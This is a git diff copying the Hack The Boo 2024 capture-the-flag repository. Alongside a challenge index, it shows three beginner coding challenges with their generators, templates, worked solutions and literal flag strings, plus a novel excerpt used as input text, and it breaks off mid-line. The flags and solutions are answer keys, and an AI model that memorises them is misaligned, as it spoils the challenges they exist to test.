diff --git a/htb/hacktheboo2024/README.md b/htb/hacktheboo2024/README.md new file mode 100644 index 0000000..3092a11 --- /dev/null +++ b/htb/hacktheboo2024/README.md @@ -0,0 +1,28 @@ +*This git was copied from the official hackthebox github for future reference* +https://github.com/hackthebox/hacktheboo-2024/tree/main + +

+ HTB +

+ +# [__Challenges__](#challenges) +| Category | Name |
Objective
| Difficulty [⭐⭐⭐⭐⭐] | +|---------------|------------------------------------------------------------------------------------------|-------------------------------------------------------------------|-------------------------| +| **Crypto** | [brevi moduli](crypto/%5BVery%20Easy%5D%20brevi%20moduli) | Factor small RSA moduli | ⭐ | +| **Crypto** | [sekur julius](crypto/%5BVery%20Easy%5D%20sekur%20julius) | Decrypt twisted version of Caesar cipher | ⭐ | +| **Crypto** | [sugar free candies](crypto/%5BVery%20Easy%5D%20sugar%20free%20candies) | Solve system of 3 variables given 4 equations | ⭐ | +| **Web** | [phantom script](web/web_phantom_script) | Standard XSS | ⭐ | +| **Web** | [unholy union](web/web_unholy_union) | Union SQL Injection | ⭐ | +| **Web** | [void whispers](web/web_void_whispers) | Blind Command Injection | ⭐ | +| **Forensics** | [Forbidden Manuscript](forensics/%5BVery%20Easy%5D%20Forbidden%20Manuscript) | Enumerate HTTP stream and hex decode the flag | ⭐ | +| **Forensics** | [Sp00ky Theme](forensics/%5BVery%20Easy%5D%20Sp00ky%20Theme) | Malicious Plasma 6 plasmoid (widget) that executes rogue commands. | ⭐ | +| **Forensics** | [The Shortcut Haunting](forensics/%5BVery%20Easy%5D%20The%20Shortcut%20Haunting) | Find the payload embedded in an lnk file and decoding it using base64. | ⭐ | +| **Rev** | [CryptOfTheUndead](rev/%5BVery%20Easy%5D%20CryptOfTheUndead) | Reversing Encryption Algorithm | ⭐ | +| **Rev** | [Graverobber](rev/%5BVery%20Easy%5D%20Graverobber) | Using strace + scripting | ⭐ | +| **Rev** | [SpookyPass](rev/%5BVery%20Easy%5D%20SpookyPass) | Standard strings challenge | ⭐ | +| **Pwn** | [El Teteo](pwn/%5BVery%20Easy%5D%20El%20Teteo) | Shellcode execution | ⭐ | +| **Pwn** | [Mathematricks](pwn/%5BVery%20Easy%5D%20Mathematricks) | Integer overflow | ⭐ | +| **Pwn** | [Que onda](pwn/%5BVery%20Easy%5D%20Que%20onda) | Basic instructions | ⭐ | +| **Coding** | [addition](coding/%5BVery%20Easy%5D%20addition) | Given two numbers, return the sum. | ⭐ | +| **Coding** | [oddly_even](coding/%5BVery%20Easy%5D%20oddly_even) | Given a number, print "even" if it is even and "odd" if it is odd. | ⭐ | +| **Coding** | [reversal](coding/%5BVery%20Easy%5D%20reversal) | Given a string, return the reverse of the string. | ⭐ | diff --git a/htb/hacktheboo2024/assets/htb.png b/htb/hacktheboo2024/assets/htb.png new file mode 100644 index 0000000..bce6111 Binary files /dev/null and b/htb/hacktheboo2024/assets/htb.png differ diff --git a/htb/hacktheboo2024/assets/logo.png b/htb/hacktheboo2024/assets/logo.png new file mode 100644 index 0000000..fe73253 Binary files /dev/null and b/htb/hacktheboo2024/assets/logo.png differ diff --git a/htb/hacktheboo2024/assets/logo_htb.png b/htb/hacktheboo2024/assets/logo_htb.png new file mode 100644 index 0000000..bce6111 Binary files /dev/null and b/htb/hacktheboo2024/assets/logo_htb.png differ diff --git a/htb/hacktheboo2024/coding/.idea/.gitignore b/htb/hacktheboo2024/coding/.idea/.gitignore new file mode 100644 index 0000000..13566b8 --- /dev/null +++ b/htb/hacktheboo2024/coding/.idea/.gitignore @@ -0,0 +1,8 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Editor-based HTTP Client requests +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/htb/hacktheboo2024/coding/.idea/coding.iml b/htb/hacktheboo2024/coding/.idea/coding.iml new file mode 100644 index 0000000..d0876a7 --- /dev/null +++ b/htb/hacktheboo2024/coding/.idea/coding.iml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/.idea/inspectionProfiles/Project_Default.xml b/htb/hacktheboo2024/coding/.idea/inspectionProfiles/Project_Default.xml new file mode 100644 index 0000000..6a3f24e --- /dev/null +++ b/htb/hacktheboo2024/coding/.idea/inspectionProfiles/Project_Default.xml @@ -0,0 +1,36 @@ + + + + \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/.idea/inspectionProfiles/profiles_settings.xml b/htb/hacktheboo2024/coding/.idea/inspectionProfiles/profiles_settings.xml new file mode 100644 index 0000000..105ce2d --- /dev/null +++ b/htb/hacktheboo2024/coding/.idea/inspectionProfiles/profiles_settings.xml @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/.idea/misc.xml b/htb/hacktheboo2024/coding/.idea/misc.xml new file mode 100644 index 0000000..a6218fe --- /dev/null +++ b/htb/hacktheboo2024/coding/.idea/misc.xml @@ -0,0 +1,7 @@ + + + + + + \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/.idea/modules.xml b/htb/hacktheboo2024/coding/.idea/modules.xml new file mode 100644 index 0000000..3de1d67 --- /dev/null +++ b/htb/hacktheboo2024/coding/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/.idea/vcs.xml b/htb/hacktheboo2024/coding/.idea/vcs.xml new file mode 100644 index 0000000..4fce1d8 --- /dev/null +++ b/htb/hacktheboo2024/coding/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] addition/Dockerfile b/htb/hacktheboo2024/coding/[Very Easy] addition/Dockerfile new file mode 100644 index 0000000..78ea7da --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] addition/Dockerfile @@ -0,0 +1,7 @@ +FROM registry.htbsvc.net/hackthebox/htb:coding_template + +COPY --chown=root challenge/challenge.py /root/checker +COPY --chown=root challenge/flag.txt /root/checker +COPY --chown=www-data challenge/index.html /app/templates + +EXPOSE 1337 \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] addition/README.md b/htb/hacktheboo2024/coding/[Very Easy] addition/README.md new file mode 100644 index 0000000..d1c4b98 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] addition/README.md @@ -0,0 +1,28 @@ +![img](../../../../../assets/htb.png) + + + Addition + +1st October 2024 + +Prepared By: ir0nstone + +Challenge Author(s): ir0nstone + +Difficulty: Very Easy + +# Synopsis +Given two numbers, return the sum. + +## Skills Required +* Basic Python + +# Solution +Take in the inputs, parse them to integers and then print the sum. + +```py +a = int(input()) +b = int(input()) + +print(a+b) +``` \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] addition/build_docker.sh b/htb/hacktheboo2024/coding/[Very Easy] addition/build_docker.sh new file mode 100755 index 0000000..b205875 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] addition/build_docker.sh @@ -0,0 +1,3 @@ +#!/bin/bash +docker build --tag=coding_addition . +docker run -p 1337:1337 --rm --name=coding_addition -it coding_addition \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] addition/challenge/challenge.py b/htb/hacktheboo2024/coding/[Very Easy] addition/challenge/challenge.py new file mode 100644 index 0000000..c332ff0 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] addition/challenge/challenge.py @@ -0,0 +1,6 @@ +import random + +def gen_question(): + a, b = random.randint(1, 10_000), random.randint(1, 10_000) + + return f'{a}\n{b}', f'{a+b}' diff --git a/htb/hacktheboo2024/coding/[Very Easy] addition/challenge/flag.txt b/htb/hacktheboo2024/coding/[Very Easy] addition/challenge/flag.txt new file mode 100644 index 0000000..a3eea5f --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] addition/challenge/flag.txt @@ -0,0 +1 @@ +HTB{aDd1nG_4lL_tH3_waY} \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] addition/challenge/index.html b/htb/hacktheboo2024/coding/[Very Easy] addition/challenge/index.html new file mode 100644 index 0000000..2fd85bc --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] addition/challenge/index.html @@ -0,0 +1,22 @@ +{% extends "base.html" %} + +{% block title %} +Addition +{% endblock %} + +{% block content %} +

+ Take in two numbers, \( a \) and \( b \). Return \( a + b \). +

+{% endblock %} + +{% block example_input %} +

+ 3 + 4 +

+{% endblock %} + +{% block example_output %} +

7

+{% endblock %} diff --git a/htb/hacktheboo2024/coding/[Very Easy] addition/solutions/solve.py b/htb/hacktheboo2024/coding/[Very Easy] addition/solutions/solve.py new file mode 100644 index 0000000..e69dfa8 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] addition/solutions/solve.py @@ -0,0 +1,4 @@ +a = int(input()) +b = int(input()) + +print(a+b) diff --git a/htb/hacktheboo2024/coding/[Very Easy] oddly_even/Dockerfile b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/Dockerfile new file mode 100644 index 0000000..78ea7da --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/Dockerfile @@ -0,0 +1,7 @@ +FROM registry.htbsvc.net/hackthebox/htb:coding_template + +COPY --chown=root challenge/challenge.py /root/checker +COPY --chown=root challenge/flag.txt /root/checker +COPY --chown=www-data challenge/index.html /app/templates + +EXPOSE 1337 \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] oddly_even/README.md b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/README.md new file mode 100644 index 0000000..ea65b48 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/README.md @@ -0,0 +1,34 @@ +![img](../../../../../assets/htb.png) + + + Oddly Even + +1st October 2024 + +Prepared By: ir0nstone + +Challenge Author(s): ir0nstone + +Difficulty: Very Easy + +# Synopsis +Given a number, print "even" if it is even and "odd" if it is odd. + +## Skills Required +* Basic Python + +# Solution +First, we take in the number: + +```py +a = int(input()) +``` + +We can then check if the number is divisible by `2`. If it is, we print "even", otherwise we print "odd". + +```py +if a % 2 == 0: + print('even') +else: + print('odd') +``` \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] oddly_even/build_docker.sh b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/build_docker.sh new file mode 100755 index 0000000..ab6d21b --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/build_docker.sh @@ -0,0 +1,3 @@ +#!/bin/bash +docker build --tag=coding_oddly_even . +docker run -p 1337:1337 --rm --name=coding_oddly_even -it coding_oddly_even \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] oddly_even/challenge/challenge.py b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/challenge/challenge.py new file mode 100644 index 0000000..5324dd3 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/challenge/challenge.py @@ -0,0 +1,11 @@ +import random + +def even_or_odd(n): + if n % 2 == 0: + return 'even' + return 'odd' + +def gen_question(): + n = random.randint(1, 100_000) + + return f'{n}', f'{even_or_odd(n)}' diff --git a/htb/hacktheboo2024/coding/[Very Easy] oddly_even/challenge/flag.txt b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/challenge/flag.txt new file mode 100644 index 0000000..e8f9d13 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/challenge/flag.txt @@ -0,0 +1 @@ +HTB{15_iT_0dD_oR_Is_iT_n0t?} \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] oddly_even/challenge/index.html b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/challenge/index.html new file mode 100644 index 0000000..ffe16f4 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/challenge/index.html @@ -0,0 +1,23 @@ +{% extends "base.html" %} + +{% block title %} +Oddly Even +{% endblock %} + +{% block content %} +

+ Take in a number, print "odd" if odd and "even" if even. +

+{% endblock %} + +{% block example_input %} +

+ 3 +

+{% endblock %} + +{% block example_output %} +

+ odd +

+{% endblock %} diff --git a/htb/hacktheboo2024/coding/[Very Easy] oddly_even/solutions/solve.py b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/solutions/solve.py new file mode 100644 index 0000000..3e4e6a0 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] oddly_even/solutions/solve.py @@ -0,0 +1,6 @@ +a = int(input()) + +if a % 2 == 0: + print('even') +else: + print('odd') diff --git a/htb/hacktheboo2024/coding/[Very Easy] reversal/Dockerfile b/htb/hacktheboo2024/coding/[Very Easy] reversal/Dockerfile new file mode 100644 index 0000000..78ea7da --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] reversal/Dockerfile @@ -0,0 +1,7 @@ +FROM registry.htbsvc.net/hackthebox/htb:coding_template + +COPY --chown=root challenge/challenge.py /root/checker +COPY --chown=root challenge/flag.txt /root/checker +COPY --chown=www-data challenge/index.html /app/templates + +EXPOSE 1337 \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] reversal/README.md b/htb/hacktheboo2024/coding/[Very Easy] reversal/README.md new file mode 100644 index 0000000..28581bf --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] reversal/README.md @@ -0,0 +1,27 @@ +![img](../../../../../assets/htb.png) + + + Reversal + +1st October 2024 + +Prepared By: ir0nstone + +Challenge Author(s): ir0nstone + +Difficulty: Very Easy + +# Synopsis +Given a string, return the reverse of the string. + +## Skills Required +* Basic Python + +# Solution +We take in the string, and then we reverse it. + +```py +s = input() + +print(s[::-1]) +``` \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] reversal/build_docker.sh b/htb/hacktheboo2024/coding/[Very Easy] reversal/build_docker.sh new file mode 100755 index 0000000..e770c04 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] reversal/build_docker.sh @@ -0,0 +1,3 @@ +#!/bin/bash +docker build --tag=coding_reversal . +docker run -p 1337:1337 --rm --name=coding_reversal -it coding_reversal \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/challenge.py b/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/challenge.py new file mode 100644 index 0000000..6fa6839 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/challenge.py @@ -0,0 +1,7 @@ +import random + +def gen_question(): + with open('story.txt') as f: + text = random.choice(f.readlines()).strip() + + return f'{text}', f'{text[::-1]}' diff --git a/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/flag.txt b/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/flag.txt new file mode 100644 index 0000000..0d491ab --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/flag.txt @@ -0,0 +1 @@ +HTB{r3VerS4l?_wElL_1_n3vEr} \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/index.html b/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/index.html new file mode 100644 index 0000000..96e0aef --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/index.html @@ -0,0 +1,23 @@ +{% extends "base.html" %} + +{% block title %} +Reverse +{% endblock %} + +{% block content %} +

+ Take in a string. Print the reverse. +

+{% endblock %} + +{% block example_input %} +

+ Test me +

+{% endblock %} + +{% block example_output %} +

+ em tseT +

+{% endblock %} diff --git a/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/story.txt b/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/story.txt new file mode 100644 index 0000000..a147428 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] reversal/challenge/story.txt @@ -0,0 +1,235 @@ +Towards the end of November, during a thaw, at nine o'clock one morning, a train on the Warsaw and Petersburg railway was approaching the latter city at full speed. +The morning was so damp and misty that it was only with great difficulty that the day succeeded in breaking; and it was impossible to distinguish anything more than a few yards away from the carriage windows. +Some of the passengers by this particular train were returning from abroad; but the third-class carriages were the best filled, chiefly with insignificant persons of various occupations and degrees, picked up at the different stations nearer town. +All of them seemed weary, and most of them had sleepy eyes and a shivering expression, while their complexions generally appeared to have taken on the colour of the fog outside. +When day dawned, two passengers in one of the third-class carriages found themselves opposite each other. +Both were young fellows, both were rather poorly dressed, both had remarkable faces, and both were evidently anxious to start a conversation. +If they had but known why, at this particular moment, they were both remarkable persons, they would undoubtedly have wondered at the strange chance which had set them down opposite to one another in a third-class carriage of the Warsaw Railway Company. +One of them was a young fellow of about twenty-seven, not tall, with black curling hair, and small, grey, fiery eyes. +His nose was broad and flat, and he had high cheek bones; his thin lips were constantly compressed into an impudent, ironical--it might almost be called a malicious--smile; but his forehead was high and well formed, and atoned for a good deal of the ugliness of the lower part of his face. +A special feature of this physiognomy was its death-like pallor, which gave to the whole man an indescribably emaciated appearance in spite of his hard look, and at the same time a sort of passionate and suffering expression which did not harmonize with his impudent, sarcastic smile and keen, self-satisfied bearing. +He wore a large fur--or rather astrachan--overcoat, which had kept him warm all night, while his neighbour had been obliged to bear the full severity of a Russian November night entirely unprepared. +His wide sleeveless mantle with a large cape to it--the sort of cloak one sees upon travellers during the winter months in Switzerland or North Italy--was by no means adapted to the long cold journey through Russia, from Eydkuhnen to St. Petersburg. +The wearer of this cloak was a young fellow, also of about twenty-six or twenty-seven years of age, slightly above the middle height, very fair, with a thin, pointed and very light coloured beard; his eyes were large and blue, and had an intent look about them, yet that heavy expression which some people affirm to be a peculiarity, as well as evidence, of an epileptic subject. +His face was decidedly a pleasant one for all that; refined, but quite colourless, except for the circumstance that at this moment it was blue with cold. +He held a bundle made up of an old faded silk handkerchief that apparently contained all his travelling wardrobe, and wore thick shoes and gaiters, his whole appearance being very un-Russian. +His black-haired neighbour inspected these peculiarities, having nothing better to do, and at length remarked, with that rude enjoyment of the discomforts of others which the common classes so often show: "Cold?" +"Very," said his neighbour, readily. +"And this is a thaw, too. +Fancy if it had been a hard frost! +I never thought it would be so cold in the old country. +I've grown quite out of the way of it." +"What, been abroad, I suppose?" +"Yes, straight from Switzerland." +"Wheugh! my goodness!" The black-haired young fellow whistled, and then laughed. +The conversation proceeded. +The readiness of the fair-haired young man in the cloak to answer all his opposite neighbour's questions was surprising. +He seemed to have no suspicion of any impertinence or inappropriateness in the fact of such questions being put to him. +Replying to them, he made known to the inquirer that he certainly had been long absent from Russia, more than four years; that he had been sent abroad for his health; that he had suffered from some strange nervous malady--a kind of epilepsy, with convulsive spasms. +His interlocutor burst out laughing several times at his answers; and more than ever, when to the question, "whether he had been cured?" the patient replied: "No, they did not cure me." +"Hey! +that's it! +You stumped up your money for nothing, and we believe in those fellows, here!" remarked the black-haired individual, sarcastically. +"Gospel truth, sir, Gospel truth!" exclaimed another passenger, a shabbily dressed man of about forty, who looked like a clerk, and possessed a red nose and a very blotchy face. +"Gospel truth! +All they do is to get hold of our good Russian money free, gratis, and for nothing." +"Oh, but you're quite wrong in my particular instance," said the Swiss patient, quietly. +"Of course I can't argue the matter, because I know only my own case; but my doctor gave me money--and he had very little--to pay my journey back, besides having kept me at his own expense, while there, for nearly two years." +"Why? +Was there no one else to pay for you?" asked the black-haired one. +"No--Mr. Pavlichev, who had been supporting me there, died a couple of years ago. +I wrote to Mrs. General Epanchin at the time (she is a distant relative of mine), but she did not answer my letter. +And so eventually I came back." +"And where have you come to?" +"That is--where am I going to stay? +I--I really don't quite know yet, I--" +Both the listeners laughed again. +"I suppose your whole set-up is in that bundle, then?" asked the first. +"I bet anything it is!" exclaimed the red-nosed passenger, with extreme satisfaction, "and that he has precious little in the luggage van!--though of course poverty is no crime--we must remember that!" +It appeared that it was indeed as they had surmised. +The young fellow hastened to admit the fact with wonderful readiness. +"Your bundle has some importance, however," continued the clerk, when they had laughed their fill (it was observable that the subject of their mirth joined in the laughter when he saw them laughing); "for though I dare say it is not stuffed full of friedrichs d'or and louis d'or--judge from your costume and gaiters--still--if you can add to your possessions such a valuable property as a relation like Mrs. General Epanchin, then your bundle becomes a significant object at once. +That is, of course, if you really are a relative of Mrs. Epanchin's, and have not made a little error through--well, absence of mind, which is very common to human beings; or, say--through a too luxuriant fancy?" +"Oh, you are right again," said the fair-haired traveller, "for I really am almost wrong when I say she and I are related. +She is hardly a relation at all; so little, in fact, that I was not in the least surprised to have no answer to my letter. +I expected as much." +"H'm! +you spent your postage for nothing, then. +H'm! +you are candid, however--and that is commendable. +H'm! +Mrs. Epanchin--oh yes! +a most eminent person. +I know her. +As for Mr. Pavlichev, who supported you in Switzerland, I know him too--at least, if it was Nicolai Andreevitch of that name? +A fine fellow he was--and had a property of four thousand souls in his day." +"Yes, Nicolai Andreevitch--that was his name," and the young fellow looked earnestly and with curiosity at the all-knowing gentleman with the red nose. +This sort of character is met with pretty frequently in a certain class. +They are people who know everyone--that is, they know where a man is employed, what his salary is, whom he knows, whom he married, what money his wife had, who are his cousins, and second cousins, etc., etc. +These men generally have about a hundred pounds a year to live on, and they spend their whole time and talents in the amassing of this style of knowledge, which they reduce--or raise--to the standard of a science. +During the latter part of the conversation the black-haired young man had become very impatient. +He stared out of the window, and fidgeted, and evidently longed for the end of the journey. +He was very absent; he would appear to listen-and heard nothing; and he would laugh of a sudden, evidently with no idea of what he was laughing about. +"Excuse me," said the red-nosed man to the young fellow with the bundle, rather suddenly; "whom have I the honour to be talking to?" +"Prince Lev Nicolaevich Myshkin," replied the latter, with perfect readiness. +"Prince Myshkin? +Lev Nicolaevich? +H'm! +I don't know, I'm sure! +I may say I have never heard of such a person," said the clerk, thoughtfully. +"At least, the name, I admit, is historical. +Karamsin must mention the family name, of course, in his history--but as an individual--one never hears of any Prince Myshkin nowadays." +"Of course not," replied the prince; "there are none, except myself. +I believe I am the last and only one. +As to my forefathers, they have always been a poor lot; my own father was a sublieutenant in the army. +I don't know how Mrs. Epanchin comes into the Myshkin family, but she is descended from the Princess Myshkin, and she, too, is the last of her line." +"And did you learn science and all that, with your professor over there?" asked the black-haired passenger. +"Oh yes--I did learn a little, but--" +"I've never learned anything whatever," said the other. +"Oh, but I learned very little, you know!" added the prince, as though excusing himself. +"They could not teach me very much on account of my illness." +"Do you know the Rogozins?" asked his questioner, abruptly. +"No, I don't--not at all! +I hardly know anyone in Russia. +Why, is that your name?" +"Yes, I am Rogozin, Parfyon Rogozin." +"Parfyon Rogozin? +dear me--then don't you belong to those very Rogozins, perhaps--" began the clerk, with a very perceptible increase of civility in his tone. +"Yes--those very ones," interrupted Rogozin, impatiently, and with scant courtesy. +I may remark that he had not once taken any notice of the blotchy-faced passenger, and had hitherto addressed all his remarks direct to the prince. +"Dear me--is it possible?" observed the clerk, while his face assumed an expression of great deference and servility--if not of absolute alarm: "what, a son of that very Semen Rogozin--hereditary honourable citizen--who died a month or so ago and left two million and a half of roubles?" +"And how do you know that he left two million and a half of roubles?" asked Rogozin, disdainfully, and no deigning so much as to look at the other. +"However, it's true enough that my father died a month ago, and that here am I returning from Pskoff, a month after, with hardly a boot to my foot. +They've treated me like a dog! +I've been ill of fever at Pskoff the whole time, and not a line, nor farthing of money, have I received from my mother or my confounded brother!" +"And now you'll have a million roubles, at least--goodness gracious me!" exclaimed the clerk, rubbing his hands. +"Five weeks since, I was just like yourself," continued Rogozin, addressing the prince, "with nothing but a bundle and the clothes I wore. +I ran away from my father and came to Pskoff to my aunt's house, where I caved in at once with fever, and he went and died while I was away. +All honour to my respected father's memory--but he uncommonly nearly killed me, all the same. +Give you my word, prince, if I hadn't cut and run then, when I did, he'd have murdered me like a dog." +"I suppose you angered him somehow?" asked the prince, looking at the millionaire with considerable curiosity. +But though there may have been something remarkable in the fact that this man was heir to millions of roubles there was something about him which surprised and interested the prince more than that. +Rogozin, too, seemed to have taken up the conversation with unusual alacrity. +It appeared that he was still in a considerable state of excitement, if not absolutely feverish, and was in real need of someone to talk to for the mere sake of talking, as safety-valve to his agitation. +As for his red-nosed neighbour, the latter--since the information as to the identity of Rogozin--hung over him, seemed to be living on the honey of his words and in the breath of his nostrils, catching at every syllable as though it were a pearl of great price. +"Oh, yes; I angered him--I certainly did anger him," replied Rogozin. +"But what puts me out so is my brother. +Of course my mother couldn't do anything--she's too old--and whatever brother Senka says is law for her! +But why couldn't he let me know? +He sent a telegram, they say. +What's the good of a telegram? +It frightened my aunt so that she sent it back to the office unopened, and there it's been ever since! +It's only thanks to Konief that I heard at all; he wrote me all about it. +He says my brother cut off the gold tassels from my father's coffin, at night because they're worth a lot of money!' says he. +Why, I can get him sent off to Siberia for that alone, if I like; it's sacrilege. +Here, you--scarecrow!" he added, addressing the clerk at his side, "is it sacrilege or not, by law?" +"Sacrilege, certainly--certainly sacrilege," said the latter. +"And it's Siberia for sacrilege, isn't it?" +"Undoubtedly so; Siberia, of course!" +"They will think that I'm still ill," continued Rogozin to the prince, "but I sloped off quietly, seedy as I was, took the train and came away. +Aha, brother Senka, you'll have to open your gates and let me in, my boy! +I know he told tales about me to my father--I know that well enough but I certainly did rile my father about Nastasia Filipovna that's very sure, and that was my own doing." +"Nastasia Filipovna?" said the clerk, as though trying to think out something. +"Come, you know nothing about her," said Rogozin, impatiently. +"And supposing I do know something?" observed the other, triumphantly. +"Bosh! +there are plenty of Nastasia Filipovnas. +And what an impertinent beast you are!" he added angrily. +"I thought some creature like you would hang on to me as soon as I got hold of my money." +"Oh, but I do know, as it happens," said the clerk in an aggravating manner. +"Lebedev knows all about her. +You are pleased to reproach me, your excellency, but what if I prove that I am right after all? +Nastasia Filipovna's family name is Barashkoff--I know, you see-and she is a very well known lady, indeed, and comes of a good family, too. +She is connected with one Totski, Afanasy Ivanovitch, a man of considerable property, a director of companies, and so on, and a great friend of General Epanchin, who is interested in the same matters as he is." +"My eyes!" said Rogozin, really surprised at last. +"The devil take the fellow, how does he know that?" +"Why, he knows everything--Lebedev knows everything! +I was a month or two with Lihachof after his father died, your excellency, and while he was knocking about--he's in the debtor's prison now--I was with him, and he couldn't do a thing without Lebedev; and I got to know Nastasia Filipovna and several people at that time." +"Nastasia Filipovna? +Why, you don't mean to say that she and Lihachof--" cried Rogozin, turning quite pale. +"No, no, no, no, no! +Nothing of the sort, I assure you!" said Lebedev, hastily. +"Oh dear no, not for the world! +Totski's the only man with any chance there. +Oh, no! +He takes her to his box at the opera at the French theatre of an evening, and the officers and people all look at her and say, 'By Jove, there's the famous Nastasia Filipovna!' but no one ever gets any further than that, for there is nothing more to say." +"Yes, it's quite true," said Rogozin, frowning gloomily; "so Zaleshov told me. +I was walking about the Nevsky one fine day, prince, in my father's old coat, when she suddenly came out of a shop and stepped into her carriage. +I swear I was all of a blaze at once. +Then I met Zaleshov--looking like a hair-dresser's assistant, got up as fine as I don't know who, while I looked like a tinker. +'Don't flatter yourself, my boy,' said he; 'she's not for such as you; she's a princess, she is, and her name is Nastasia Filipovna Barashkoff, and she lives with Totski, who wishes to get rid of her because he's growing rather old--fifty- five or so--and wants to marry a certain beauty, the loveliest woman in all Petersburg.' +And then he told me that I could see Nastasia Filipovna at the opera-house that evening, if I liked, and described which was her box. +Well, I'd like to see my father allowing any of us to go to the theatre; he'd sooner have killed us, any day. +However, I went for an hour or so and saw Nastasia Filipovna, and I never slept a wink all night after. +Next morning my father happened to give me two government loan bonds to sell, worth nearly five thousand roubles each. +'Sell them,' said he, 'and then take seven thousand five hundred roubles to the office, give them to the cashier, and bring me back the rest of the ten thousand, without looking in anywhere on the way; look sharp, I shall be waiting for you.' +Well, I sold the bonds, but I didn't take the seven thousand roubles to the office; I went straight to the English shop and chose a pair of earrings, with a diamond the size of a nut in each. +They cost four hundred roubles more than I had, so I gave my name, and they trusted me. +With the earrings I went at once to Zaleshov's. +'Come on!' I said, 'come on to Nastasia Filipovna's,' and off we went without more ado. +I tell you I hadn't a notion of what was about me or before me or below my feet all the way; I saw nothing whatever. +We went straight into her drawing-room, and then she came out to us. +"I didn't say right out who I was, but Zaleshov said: 'From Parfyon Rogozin, in memory of his first meeting with you yesterday; be so kind as to accept these!' +"She opened the parcel, looked at the earrings, and laughed. +"'Thank your friend Mr. Rogozin for his kind attention,' says she, and bowed and went off. +Why didn't I die there on the spot? +The worst of it all was, though, that the beast Zaleshov got all the credit of it! +I was short and abominably dressed, and stood and stared in her face and never said a word, because I was shy, like an ass! +And there was he all in the fashion, pomaded and dressed out, with a smart tie on, bowing and scraping; and I bet anything she took him for me all the while! +"'Look here now,' I said, when we came out, 'none of your interference here after this-do you understand?' +He laughed: 'And how are you going to settle up with your father?' says he. +I thought I might as well jump into the Neva at once without going home first; but it struck me that I wouldn't, after all, and I went home feeling like one of the damned." +"My goodness!" shivered the clerk. +"And his father," he added, for the prince's instruction, "and his father would have given a man a ticket to the other world for ten roubles any day--not to speak of ten thousand!" +The prince observed Rogozin with great curiosity; he seemed paler than ever at this moment. +"What do you know about it?" cried the latter. +"Well, my father learned the whole story at once, and Zaleshov blabbed it all over the town besides. +So he took me upstairs and locked me up, and swore at me for an hour. +'This is only a foretaste,' says he; 'wait a bit till night comes, and I'll come back and talk to you again.' +"Well, what do you think? +The old fellow went straight off to Nastasia Filipovna, touched the floor with his forehead, and began blubbering and beseeching her on his knees to give him back the diamonds. +So after awhile she brought the box and flew out at him. +'There,' she says, 'take your earrings, you wretched old miser; although they are ten times dearer than their value to me now that I know what it must have cost Parfyon to get them! +Give Parfyon my compliments,' she says, 'and thank him very much!' +Well, I meanwhile had borrowed twenty-five roubles from a friend, and off I went to Pskoff to my aunt's. +The old woman there lectured me so that I left the house and went on a drinking tour round the public-houses of the place. +I was in a high fever when I got to Pskoff, and by nightfall I was lying delirious in the streets somewhere or other!" +"Oho! +we'll make Nastasia Filipovna sing another song now!" giggled 